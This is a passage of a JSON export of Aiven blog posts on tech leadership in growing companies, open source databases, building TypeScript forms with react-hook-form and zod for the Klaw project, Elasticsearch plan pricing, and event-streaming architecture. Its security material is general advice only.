the work they love, is a tempting prospect\n- **Automating** away the mundane chores that waste your devs’ skills, so they can focus on developing and delivering applications that bring your company competitive advantages, embracing **managed services** to enable automation \n- Investing in easy-to-use self-service **infrastructure tooling**\n- Exploring modern **open source technologies**\n\n## Ensuring high development productivity and fast time-to-market for your products \nSustaining a growing company in good health means bringing in more customers. And that means _pressure_: pressure to keep current customers happy, and new customers impressed. This is a very closely intertwined concept with the previous one about keeping your developers and engineers happy and productive—it’s very important to keep all of these critical contributors happy at every step. \n\nThe ability to continuously develop your product to ensure it delights the customer is critical to customer satisfaction and scalable growth. Whether it’s adding new and useful features, improving your user experience, or just getting your product on shelves a step ahead of the competition—all of these developments pose challenges of their own.\n\n### The headaches (and their remedies)\nIn a competitive field, getting your offering out there in front of customers (and ahead of your competition) is critical. You don’t want to be the tech company with the product-in-development that customers get tired of waiting for, because we all know what happens then.\n\nWith this challenge in mind, it’s _vital_ to maximize development velocity by enabling your developers to focus on actual _development_, not on infrastructure management. Adopt **product thinking** for internal technical platforms. This will serve the dual purpose of keeping the devs happy, and also providing enhancements to your deliverables like reliability and security—things that keep the customer on board.\n\nIf you foster a professional culture where team members feel safe to **experiment** and are encouraged to **innovate**, your productivity and delivery headaches will dissipate. If you enable collaboration and communication and eliminate inefficient silo structures in your business areas, efficiency is your reward.\n\n## Scaling up your processes and workflows\nFast growth means your company might need to:\n\n- Hire more engineers to build more applications\n- Build new teams to support new business areas\n- Acquire more compute and storage capacity to handle increased load and data volumes\n\nAs a tech leader you’ll need to look at logics and processes to help your new and growing teams work together, and consider new tools to manage all the additional people and data. It can very rapidly turn into an unmanageable nightmare.\n\n### You might consider...\n\n- Setting aside time to **review your existing processes** and workflows with key stakeholders, and evaluating if those practices still support a new team structure with a bigger tech stack - if not, time to change!\n- Things change fast in fast growing companies, so keep an eye on processes and new bottlenecks that may appear - **observability** is the key\n- [Automating the tasks](https://aiven.io/blog/5-reasons-to-automate-your-data-infrastructure) related to maintaining your data infrastructure - when it comes to scaling, **more automation = less engineering time needed** for maintenance tasks, and more time for application development\n\n## Growing your tech stack and data infra\nAs your company grows, you may find that the tech stack and data infrastructure setup you have today no longer meets your needs. You wouldn't want to spend time (and energy) every year, or even every few months, looking for a new tool from a new provider to keep the old cogs turning. And platform and architecture changes are lengthy and costly projects - that don’t create visible customer value.\n\n### Planning, planning, planning\n\nTry to plan ahead as much as possible. How does your tech setup support your business needs today, and how well is it likely to support your business growth projection for the next year - or more?\n\nLet’s say you need to change from batch to real time data streaming now, but maybe next year you’ll need to add a real time data _processing_ layer on top of it as well. These are the sorts of things you need to consider. But how can you know this? And how do you prepare for it?\n\n- Getting insights from experts in the field is always a good idea! Their expertise and experiences are a valuable and freely-available resource, just waiting for you to apply them to your situation. In Aiven’s case, we’re _thoroughly_ qualified when it comes to open source data infrastructure, as we’ve worked with thousands of fast growing companies. Planning ahead and **investing in a scalable infrastructure** is critical.\n- You also need to **prevent costs from skyrocketing** as your scale increases. Pay _close_ attention to those serverless, usage-based pricing models. They may provide lucrative pricing for low-usage scenarios, but turn out to be _radically_ expensive in other scenarios. Their costs are often very hard to predict, too.\n- Fast growth often comes with a huge increase in your data volumes, and the cost to store and process that data can increase exponentially. You want to ensure your profitability, _without_ driving customers away with your bills.\n- **Avoid vendor lock-in**. You want to be able to easily onboard new tools from new suppliers that meet your future needs, and it makes no sense to keep on paying for tools that don't serve your business anymore just because you’re tied up in a long contractual notice period.\n- Last but not least, **integrations** are essential to [ease of scalability](https://aiven.io/blog/your-cloud-platform-isnt-future-proof-without-an-api). Whenever you go looking for a new addition to your tech stack, take a little extra time to research how easy it is to integrate that tool into your existing setup.\n\n## Cybersecurity and privacy concerns\nAs your company scales up, the attention spent on cybersecurity and data privacy can increase exponentially (just like your storage and processing costs, and for basically the same reason). More growth means more data, new systems to handle that data, new suppliers, new people … all these new moving parts, and checking their compliance to cybersecurity and data privacy is an easy step to overlook.\n\nAnd hackers and other nefarious individuals are always on the lookout for vulnerabilities, and the opportunity to breach your security infrastructure.\n\n### Tech leader solutions to the data security challenge\n\n- **Security-by-design, not as an afterthought**\n Security-by-design is a business philosophy in which security is considered and built into the system at every layer, starting with a robust architecture design. This means that before you add any new tool or new structure to your existing system, think about all the potential areas that are vulnerable to hackers. List the people who’ll handle the data, and make sure they have the necessary training.\n- **A holistic view of security**\n And not only in your own approach to your company’s data. You should expect the same of your employees, subcontractors, partners, and managed service providers.\n- **The extra mile**\n Compliance certifications are a good starting point, but they don’t _guarantee_ security. There are a lot of [other factors to consider](https://aiven.io/blog/data-security-compliance-in-the-cloud). Like, [_a lot_ a lot](https://aiven.io/blog/4-key-risks-in-digital-data-transformation). You might also want to think about:\n  - Performing **security awareness campaigns** or **employee education courses**\n  - Conducting regular **security testing**; hire white-hat hackers to try to breach your system and identify your vulnerabilities\n  - Practicing **security incident response processes**—they’re like fire drills, but for security\n\n## Is this you? How can managed data help?\nWe’ve seen a lot of pain points here, and a whole lot of suggestions about what you as a tech leader can do to _remove_ those obstacles for your fast-growing company. Your time is limited and when possible, it’s important to delegate actions so you can focus on the things that drive your business forward. \n\nThe good news is, by taking a managed data platform into use you can outsource a lot of these vital steps. Want to know how a managed data platform like Aiven can ease your growing pains and fuel your company?\n\n- [Learn more about the Aiven platform](https://aiven.io/case-studies)\n- [Check out our Aiven solutions](https://aiven.io/solutions)\n- If you have questions and want to discuss with one of our friendly experts, [book a call with us!](https://calendly.com/intro-to-aiven/demo-aiven-platform-for-fast-growing-companies)\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/293851558f263b685d33c810e52bfc8297526380-1567x844.png)\n\n----\n\n::banner[We’ve got you covered.]{ctaText=\"Head to Aiven Console to sign up for a free trial!\" ctaLink=\"https://go.aiven.io/Trial\" title=\"So... looking for a managed data platform?\" theme=\"dark\"}\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-06636d127c1e9203c338940c19329655c2f61018-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-24T12:21:05.374Z","related":[{"_key":"2ca60a3b17ce","_ref":"b5c7cf6e-390e-40c3-a19b-003194cb505f","_type":"reference"},{"_key":"9ceafa8f1b75","_ref":"d8f581eb-471c-439e-a87b-b7596812f19d","_type":"reference"},{"_key":"fdee073f15e3","_ref":"6lGKFmwwPY4X8RmqIKf7tn","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/solving-5-challenges-tech-leaders-face-in-fast-growing-companies"},"subtitle":"Is your company experiencing growing pains? It happens. Tech leaders in fast-scaling companies encounter some very specific challenges. Read more to find out.","title":"Solving 5 challenges tech leaders face in fast-growing companies"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4lLkmyrsLLZ2asRfGakbUs","_rev":"neae7oL4y1FotDvvRKLiQT","_type":"post","_updatedAt":"2024-07-11T09:12:28Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Much has been written about [open source](https://en.wikipedia.org/wiki/Open_source \"Link to Wikipedia's Open source article\") versus proprietary software, and if you’ve found your way to the [Aiven blog](https://aiven.io/blog \"Aiven blog main page\") you probably know the basics. But do you want to know why you should definitely go open source for your next database solution? Read what Aiven’s founders Heikki Nousiainen and Oskari Saarenmaa have to say about why open source is cheaper, safer, and more feature-rich than proprietary alternatives. \n## Hundreds of thousands of developers can’t be wrong\nIn general, it is agreed that open source software offers better security and higher quality than proprietary alternatives. This is simply due to the vast size of the community. Someone’s eyeballs are always on the code, seeking and destroying bugs and vulnerabilities. \n\nThe same applies for getting help with your implementation. You’re not limited to the Help Desk of a single company. Instead, you have access to the global community of developers and the FAQs, tutorials, message board replies and add-on bits and pieces they’ve produced.\n\nBut there’s one more advantage that the large pool of makers brings to the table. “As part of the open source community, you get access to innovation,” says Aiven’s CTO Heikki Nousiainen. “The community continually develops cutting edge features and functionality.” You can incorporate them into your systems as soon as they’re mature. Unlike proprietary software, open source elements play nice with each other, too. \n\n“You can use the latest features with your existing data and technologies, instead of having to watch from the sidelines as the world evolves,” points out Oskari Saarenmaa, Aiven’s CEO.\n## Buy, don’t lease\nWith open source software, you’re not paying licence fees, and that’s a bigger deal than you may realise. Firstly, any money you throw at your open source systems is an investment in your own company, rather than you paying to bolster another company’s business. \n\nSecondly, you’re free to try out the system in full before committing to it financially instead of fooling around with demo versions. You’ll have a better understanding of the actual benefits and challenges before paying a vendor for a product that might turn out not to live up to its sales pitch.\n\nBut the third point is what really takes the cake: if your business grows and you need to scale up, with open source software you can just spin up another instance. No increase in expenditure (except maybe some hardware), no tedious reworking of licence packages, just software up and running.\n\n“With open source, you have the freedom to deploy any number of database instances for production, development or testing as needed,” says Nousiainen. Your business has the ability to react quickly to changes, and software will never be the element holding back your growth.\n## Your data should be yours\nAiven provides database services based on open software, and that’s because we firmly believe that, especially for business-critical data, open source is the way to go. Interoperability, large support base, and easy scalability mean that your data will never be stuck in the labyrinth of a proprietary system that your company has outgrown.\n\nAccording to Nousiainen, “The open source model guarantees users continued access and the ability to process their own data, no matter what. They’ll never be locked in to a single technology vendor.”\n\n“With open source solutions, your data is always yours,” adds Saarenmaa. “It’s not locked into someone else’s business model.”\n## Wrapping up\nAt Aiven, we don’t root for open source databases because we sell open source database services. Instead, [we do open source](https://github.com/aiven \"Link to Aiven's GitHub page\") because we genuinely believe that it’s the best way to make sure your data remains usable no matter what and your business is free to scale up when you need for that to happen.\n\nIf you are shopping for a database solution, you really should primarily be looking at open source solutions in general if you want to stay agile and retain full control of your business-critical data. But to take full advantage of an open source architecture, why not have a look at managed open source solutions? We’re going to be covering the benefits of managed services in a future blog post, but in the meantime you could do worse than [sign up for Aiven's free trial](https://console.aiven.io/signup \"Aiven free trial signup link\") to see open source databases in action. \n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Apache Kafka® and the great database debate](https://aiven.io/blog/apache-kafka-and-the-great-database-debate)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844-png","_type":"reference"}},"publishedAt":"2020-11-30T00:00:00.000Z","seo":{"metaDescription":"Read why Aiven’s top people think the open source road is the path to success, especially for the data your business depends on.","metaImage":{"alt":"","asset":{"_ref":"image-49e7ba9fca45a45961b28376dc179bf8ae9d29f2-1567x844-png","_type":"reference"}},"metaTitle":"Why you should \u003c3 open source databases"},"slug":{"_type":"slug","current":"/blog/why-you-should-love-open-source-databases"},"subtitle":"Read why Aiven’s top people think the open source road is the path to success, especially for the data your business depends on.","title":"Why you should \u003c3 open source databases"}
{"__i18n_lang":"en","_createdAt":"2023-07-21T11:16:29Z","_id":"02e324d3-12f2-4b11-aec3-84b2b6859fbc","_rev":"E2EqFgH2t2FE0P1F1sYZlx","_type":"post","_updatedAt":"2024-02-27T15:22:03Z","authors":[{"_key":"4181321e0901","_ref":"55a0d2a7-8172-4540-9346-a96888a8feae","_type":"reference"}],"body":"A few months back, Klaw started a rewrite of its front-end, migrating from Angular 1 to React. It has been an exhilarating time, not least of which because there is such a wide variety of great tools to use in the front-end world of today. One of the first decisions we had to make was: what do we do about forms?\n\n## It’s all about forms\n\n[Klaw](https://klaw-project.io) is a governance tool for Apache Kafka® topics. Its objective is to provide a safety layer around all the operations on your clusters, by applying the four eyes principle: any operation must be approved by at least two people. So, instead of directly firing an operation, your workflow becomes about creating a request for the operation, and then relying on other members of your team to review and approve it before it is enacted. A little like working with source control and code review!\n\nKlaw is therefore about creating requests. Requests to create, delete and promote topics, connectors, schemas and subscriptions. This means that Klaw has many forms, one for each type of operation a user may wish to enact, all of them tailored to make the user’s life easier by implementing strong validation. And because Klaw is an open source project, all of them need to be extensible for future features and all of them need to be easily understandable for anyone wanting to contribute.\n\nWe therefore need tools to create forms which are:\n\n- **Reliable:** as the driver for the core features of Klaw, we need strict type safety and solid validation capabilities.\n- **Composable:** because of the complexity of some of our forms, we need simple building blocks allowing us to build freely.\n- **Delightful:** users and developers will spend a lot of time with our forms. It better be a good time!\n\nThankfully, because the new Klaw front-end uses TypeScript, we have access to a powerful duo: `zod` and `react-hook-form`.\n\n## What is `zod`?\n\n[`zod`](https://zod.dev/?id=introduction) is a is a \"TypeScript-first schema declaration and validation library.\" \n\n\n`zod` is a library of primitives that allow developers to construct a representation of an object (a “schema”), and infer TypeScript types from it. It also provides tools to validate the values stored by a given object against such a schema.\n\nIt has many applications, but it is especially well-suited for form validation, and the creators of  `react-hook-form` are well aware of it.\n\n## What is `react-hook-form`?\n\n[`react-hook-form`](https://react-hook-form.com/) provides \"performant, flexible and extensible forms with easy-to-use validation.\"\n\n`react-hook-form` is a form library that defaults to the [uncontrolled components](https://react.dev/reference/react-dom/components/input#controlling-an-input-with-a-state-variable) approach and follows HTML standards for form creation.  Using `react-hook-form`, forms are accessible because of adherence to the HTML standard, and the library provides a familiar API. It is however very permissive, with a flexible and extensible hooks toolbox, including support for controlled inputs. It allows developers to use its APIs in any way they see fit, with strong TypeScript support.\n\nThis is significant for us in many ways:\n\n- It makes it easy to write composable building blocks for our forms\n- We can freely choose if input components need to be controlled or uncontrolled\n- And most importantly, we can use `zod` as our validation tool by leveraging the [resolver API](https://react-hook-form.com/api/useform/#resolver).\n\n## How we use them\n\nThe Klaw team decided to split the responsibilities of `react-hook-form` and `zod` into different files, and bring them together when we want to render a form.\n\n### `react-hook-form`: exports building blocks to `Form.tsx`\n\n`Form.tsx` defines and exports all the necessary blocks needed to build a form with `react-hook-form`, with the integration of `zod` for validation taken into account. We use this approach internally when building the [Aiven Console](https://console.aiven.io), and implemented it in Klaw as well for the express purpose of encapsulating patterns which may otherwise lead to inconsistencies. For example, when should the validation run: should it be on change, on touch, on blur? This decision is made once in `Form.tsx`, and applies to all forms in the application. This opinionated approach allows for a straightforward developer experience by providing a single way to build a form. \n\n### The blueprints: `useForm`\n\n`useForm` [is how we define which values our form holds, and how we validate those values](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L70-L81). We choose to wrap `react-hook-form`’s native `useForm` in our own custom hook. This allows us to provide more meaningful naming for its different parameters (e.g. schema instead of resolver, for example), and to set default values we want shared across all forms (e.g. validation `onTouched`). It returns an object holding the values and methods we will need for form handling and validation, typed according to the schema we passed it. \n\n\n### The foundations: `Form`\n\n`Form` [holds our form’s DOM structure](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L90-L107). It is a simple component returning an HTML form element wrapped in `react-hook-form`’s `FormProvider`. The `FormProvider` will receive the values from the object returned from `useForm` as props.\n\n## The bricks: input components\n\nWe define a variety of input components to express all the different kinds of values and user experiences we wish for in our forms. They will be rendered as children to a Form component. They are all registered to their parent’s form by calling the `useFormContext` hook, and using its return value to register themselves.\n\n- [Simple inputs are uncontrolled](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L148-L176). They are registered to their parent form by [calling `register` method with their `name`](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L159).\n- More complex inputs are [wrapped in a `react-hook-form` `Controller` component](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/components/Form.tsx#L329-L380). They are registered to their parent by passing the `control` value from the form context to the `Controller` as the `control` prop.\n\n## `zod`: defining a safety net with schemas and validation\n\nBecause we use `zod` to define the shape, the types and the validation of each of our forms, we co-locate those as close to the relevant form is defined, usually in a [`form-schemas` folder](https://github.com/aiven/klaw/tree/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/schema-request/form-schemas). `TopicSchema.tsx` renders the form, using the schema and type defined in  `topic-schema-request-form.ts`. \n\n### The schema and its inferred type\n\nOur form schemas usually are objects holding a series of key-value pairs. Each key is the name of the form field, and each value is its type., `zod` allows us to infer a TypeScript type from this schema with the `infer` method. \n\n![an animated gif of a code environment. The cursor rolls over an object, topicRequestSchema, and displays a modal window showing that the IDE can infer its type.](https://cdn.sanity.io/images/sczeoy4w/production/c508127fbdc5d895f26a4951e8440386d43f8f15-860x404.gif)\n\n### Validation \n\nValidation is done as an integral part of the schema definition. It is extremely flexible, and can be done in different ways, depending on the rules needed and their complexity. \n\nFor simple validation, `zod` provides a series of methods, , like `.min`, `.max`, `.optional`, `.required`, which can be appended to each schema value. They always take a second parameter to specify the error message which should be dispatched.\n\n![a screenshot of a code environment showing the .min and .max methods from zod. Both are implemented with error messages](https://cdn.sanity.io/images/sczeoy4w/production/0cbccdc2a16a27d64fc9a48244dd00af32d7c1b5-1366x214.png)\n\nFor more complex cases for example when a value relies on knowing the value of another field, `zod` provides the `refine` and `superRefine` methods. These methods take a function as an argument, and the function can contain custom logic to handle these specific cases. For example, we can ensure that the `replicationFactor` value can never be higher than the `maxReplicatioFactor` value when creating a Topic request in Klaw. We then use `addIssue` to craft the exact kind of error we want to dispatch in this case.\n\n![an image of a code environment showing a more complex validation case with zod's refine and superRefine methods. Calling superRefine requires that you define the refinement itself in another method, as described above.](https://cdn.sanity.io/images/sczeoy4w/production/99cc583f93cb3ab87a14e743e57907a3434eecd9-1722x1566.png)\n\n## Together at last: rendering a form\n\nWe now have:\nForm and input components we can freely compose\nForm schemas, type and validation\n\n\nAnd it’s time to use them together to render the UI we want for our users! This is how we do it: \n\n1. Import `useForm`, `Form`, and the necessary inputs from `Form.tsx`\n2. Import the schema and the inferred type from where they are defined\n3. Call `useForm` with the inferred type as a generic type argument, and pass it the schema (and optional default values)\n4. Pass the returned values of `useForm` as props to the `Form` component\n5. Render the desired inputs as children of `Form`, passing them the `name` prop corresponding to the correct field in the form schema.\n\nConceptually, it looks like this:\n\n```tsx\nreact-hook-form\nzod\nreact-hook-form + zod\n\n// NameForm.tsx\n\nimport { useForm, Form, TextInput } from \"src/app/components/Form\"\nimport { formSchema, FormSchema } from \"src/app/components/name-form.ts\"\n\n// …\n\n\nconst form = useForm\u003cFormSchema\u003e({\n  schema: formSchema,          \n  defaultValues,\n});\n\n\n\u003cForm\n  {...form}\n\u003e\n  \u003cTextInput\u003cFormSchema\u003e name={'name-in-schema-type'} /\u003e -\u003e only names in FormSchema allowed as name for TextInput\n\u003c/Form\u003e\n\n```\n\nWe can now rest easy, knowing that we have achieved our objectives. Our forms are:\n\n- Reliable: they are typed end to end, with robust validation\n- Composable: building a form is entirely about fitting our building blocks together\n- Delightful: being able to create form with confidence and speed is a perpetual delight, as is the speed of delivery it allows our team!\n\n\n## Shortcomings\n\nBut of course, every single tech choice has trade-offs, and this is no exception.\n\n**Mixing uncontrolled and controlled components:**\n\nMany of our more complex input components need to be controlled (by wrapping in a `Controller`, or by setting their `value` prop explicitly). This goes against the “HTML standard” core philosophy of the library, and adds complexity. This complexity naturally leads to bugs, [such as this one](https://github.com/aiven/klaw/pull/1045).\n\n**A little bit of boilerplate:**\n\nAdding a new input type to `Form.tsx`, writing schemas and validation rules for every form, remembering to use the proper syntax for typing precisely every input, this all may feel tedious. You may yearn for the sweet pleasure of colocation, as opposed to the strong separation of concern this approach enforces. And you may be right! This is not a miracle solution, only a solution which may or may not fit your purpose.\n\n**There is no escaping complex UIs:**\n\nAs simple as our approaches and building blocks are, the UIs we build are sometimes unavoidably complex. This is the case for our ACL forms, which are extremely dynamic, with a varying amount of fields, which may or may not be enabled, depending on a large number of factors. This leads to some [interesting schemas and validation](https://github.com/aiven/klaw/tree/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/acl-request/form-schemas), [a host of custom field](https://github.com/aiven/klaw/tree/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/acl-request/fields)s specifically designed for these forms, and [a test file that is 3000+ lines long](https://github.com/aiven/klaw/blob/09570e7f5903d77d81ca522c499bcedfad6cb132/coral/src/app/features/topics/acl-request/TopicAclRequest.test.tsx).\n\n## Contribute to Klaw\n\nFortunately, even if we can’t escape those shortcomings, we can mitigate it by iterating, and improving! [Pick up the refactoring issue if you want to contribute](https://github.com/aiven/klaw/issues/1142)! We welcome every PR, so please take a look at our [good first issues](https://github.com/aiven/klaw/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) if your interest has been piqued by this post. Be sure to look over our [contribution guidelines beforehand](https://github.com/aiven/klaw/blob/main/CONTRIBUTING.md)!","categories":[{"_key":"b3b782a2ba46","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"},{"_key":"d084edc3152d","_ref":"25b1be80-adf7-4a4b-a97f-f161d43fd66b","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Typescript, react-hook-form, zod: blissful forms for Klaw","asset":{"_ref":"image-563ae1cc08cb80531e449ed52a55b6db1537329b-1567x844-png","_type":"reference"}},"publishedAt":"2023-08-08T07:00:00.000Z","related":[{"_key":"b2be97db857d","_ref":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_type":"reference"},{"_key":"6d62ea5b47b9","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/typescript-react-hook-form-zod"},"subtitle":"How Aiven open source engineers create forms to create reliable, composable and delightful web forms","title":"TypeScript, react-hook-form, zod: blissful forms"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"77CyFNcexbcB3RIjQr6rNM","_rev":"lhvtNBOlLYH5KiQFQ8YM9N","_type":"post","_updatedAt":"2024-01-29T15:38:09Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"We are happy to announce that we’ve expanded the capacity of our standard [Aiven for Elasticsearch](https://aiven.io/opensearch) plans while lowering the costs across the board — this means two things:\n\n__1. Our higher node count plans__ means that you can now handle even larger use cases without having to request custom plans. Starting from Premium-15x and up, our 15-Node plans include 5250 GB of storage while our Premium-30x-32 plan goes up to 21000 GB.\n\n__2. We’ve reduced pricing__ for all Premium plans, with cost reductions of up to 56%.  \n\nFor complete information on the capabilities and features of our different managed Elasticsearch plan sizes, check out the [Aiven for Elasticsearch plan comparison table](/opensearch#plan-comparison).\n\n## Wrapping up\n\nWith these enhancements, enterprises can now __manage larger Elasticsearch workloads out of the box and at lower costs__. Already using Elasticsearch for Aiven and need a larger plan? Launch or upgrade to your preferred plan size via the [Aiven Console, API, CLI, or Terraform](https://aiven.io/docs/tools/api).\n\nNot an Aiven customer and would like to test one of our managed Elasticsearch plans? [Sign up for a no obligation, 30-day trial](https://console.aiven.io/signup) and launch your first instance now. In the meantime, stay up-to-date by following our [blog](/blog/feed.xml) or [changelog](/changelog/feed.xml) RSS feeds, and following us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405-png","_type":"reference"}},"publishedAt":"2020-03-26T00:00:00.000Z","seo":{"metaDescription":"You can now run larger Elasticsearch workloads out of the box at lower cost. Read this post to find out more about our new plan sizes and pricing.","metaImage":{"alt":"","asset":{"_ref":"image-e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405-png","_type":"reference"}},"metaTitle":"Aiven expands Elasticsearch plan sizes and lowers costs"},"slug":{"_type":"slug","current":"/blog/larger-aiven-for-elasticsearch-plans-available-at-lower-cost"},"subtitle":"You can now run larger Elasticsearch workloads out of the box at lower cost. Read this post to find out more about our new plan sizes and pricing.","title":"Aiven expands Elasticsearch plan sizes and lowers costs"}
{"__i18n_lang":"en","_createdAt":"2022-12-14T09:21:37Z","_id":"c6ce98ee-1e41-4e2b-878d-6702e1226dd3","_rev":"neae7oL4y1FotDvvR1z4MV","_type":"post","_updatedAt":"2024-07-09T13:04:14Z","authors":[{"_key":"a6e60f4fdfe1","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"},{"_key":"8d136193f3ca","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"}],"body":"## What is a software architect?\nIf you ask ten people what an event streaming platform is, you’re likely to get ten different answers (not including “I don’t know” and “how did you get in here?”). For the purposes of this blog post, though, an event streaming platform is *any infrastructure or technology that event-driven apps run on or integrate with, to provide data updates at short intervals*.\n\nThis definition covers a whole range of different alternatives in terms of infrastructure - what kind of tech you can adopt, from bare-bones DIY to abstract architectures where insights present themselves as if by magic from your published events.\n\nWe’re not here to make that decision for you. We’re here to help you make the decision yourself, and understand the risks and factors involved. You don’t need all the answers, but you do need to know what questions to ask. And *that's* a software architect's job in a nutshell.\n\nAt their best, a software architect has:\n\n- Technical domain expertise at app, industry, and infrastructure levels\n- Experience, from failures or successes, in solving problems\n- Unconventional curiosity about how different systems interact, different to the developer’s laser focus on individual cases\n\nIn this post, we’re going to learn The Way of the Software Architect, and how it can help you with your event streaming solutions:\n\n- [The wisdom of the architect](#the-wisdom-of-the-architect)\n- [Thinking about downtime](#the-inevitability-of-downtime)\n- [Thinking about team impact](#questions-of-team-impact)\n- [Thinking about integrations, tooling, and open source](#building-on-the-shoulders-of-giants-integrations-tooling-and-open-source)\n- [Thinking about total cost of ownership](#total-cost-of-ownership)\n\n## The wisdom of the architect\n“Wisdom” is just a nice word for experienced failure. Or success! But mostly failure.\n\nA software architect is curious about how systems interact, how tools and systems break each other, and what is impacted when (not if!) they do.\n\n----\n**On a technical level:**\n*A software architect looks at how their code impacts other code, as regards performance, resilience and reliability.*\n\n**On a department level:**\n*A software architect looks at how their code impacts other teams, as impacts compatibility, contracts and empowering.*\n\n**On a company level:**\n*A software architect looks at how their code impacts other departments and companies, specifically related to go-to-market impact.*\n\n----\nA software architect will ask more questions than they have answers for. And that’s the way it should be.\n\n- What breaks first if you double your customers overnight?\n- What breaks *last* if you increase your number of customers tenfold overnight?\n- What sort of end-user experience do you want?\n- When an error happens, what do we do? \n- How much does one minute of downtime cost your company?\n\nTo address some of the challenges a software architect faces, you need to learn how to think like an architect. And as you can imagine, we’re going to be asking a lot of questions.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=evaluating-your-event-streaming-needs-the-software-architect-way\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## The inevitability of downtime\nThe cloud is the future, and it’s got a certain technological mystique due to the fact that so many people “know” what it is (without really knowing). But it is still a box, plugged into a wall somewhere. And failure is a question of *when*, not *if*.\n\nDowntime *will* happen. Are you ready?\n### I can’t believe it’s not downtime\nA wise software architect (or software architect thinker) will read all the fine print in their service-level agreements (SLAs), especially when it comes to downtime.\n\nDid you know, for example, that a lot of the time maintenance windows aren’t counted as downtime at all? And that can make a *critical* difference.\n\nRead that fine print and keep an eye out for exemptions!\n### All the nines\nPay special attention to the uptime nines — and the difference between **obligated** and **observed** uptime. \n\nWhen a company offers 99.9% uptime, 99.99% uptime or 99.999% uptime, it doesn’t seem like a huge difference. But those mean the difference between seconds, minutes, or hours of downtime per year.\n\n3 nines, for example, might mean you’re looking at about 9 hours of downtime per year. 5 nines gets you down to 5 *minutes* a year. That means they’re essentially *contractually agreeing* to about thirty seconds of downtime a month, although of course downtime doesn’t happen like that. One or two major outages a year, however — that’ll do it. This is the level of uptime SLA you see in healthcare, regulated industries, and some financial institutions — where lives, or livelihoods, are on the line.\n\nNow, is that the same as the **observed uptime** — the actual time your systems spend up and running, and not down for various reasons? No. No it isn’t. First, just for example, [there’s the maintenance exemption](#i-cant-believe-its-not-downtime). And some companies will cover their uptime shortfall by handing out credits when they don’t meet their SLA. And that’s not great.\n### When disaster strikes\nIt’s important to have a disaster recovery plan. You *do* have a disaster recovery plan? That’s great! But if you haven’t run a practice disaster scenario and *used that plan*, then you don’t actually have a disaster recovery plan. What you have there is a plan to address what you *think* will probably happen during an outage.\n\nWhat’s going to happen when your system experiences a failure? Is your infrastructure at risk of data loss? Are you *okay* with data loss? Understanding the different potential failure cases and what you’re going to do about them is critical.\n## Questions of team impact\nOf course, through all these concerns of infrastructure stability and keeping the databases running, there’s a key question *everyone* is asking:\n\nHow do you earn money?\n\nIf you’re running Apache Kafka or some other databases yourself, are you earning money by just *being really good at running infrastructure*, or do you pay the bills by providing your customers with the data and value they want?\n\nWhere and how you invest in resources is going to be important to your bottom line.\n\n### Whose headache is this?\nIf you’re going it alone, you’re responsible for ops, reliability, app development … you need a huge, broad foundation of expertise. It changes how you hire talent, and how you plan and build your entire team structure.\n\nWhen you’re working with a vendor or building on a platform, there’s less immediate pressure — but it also puts more responsibility 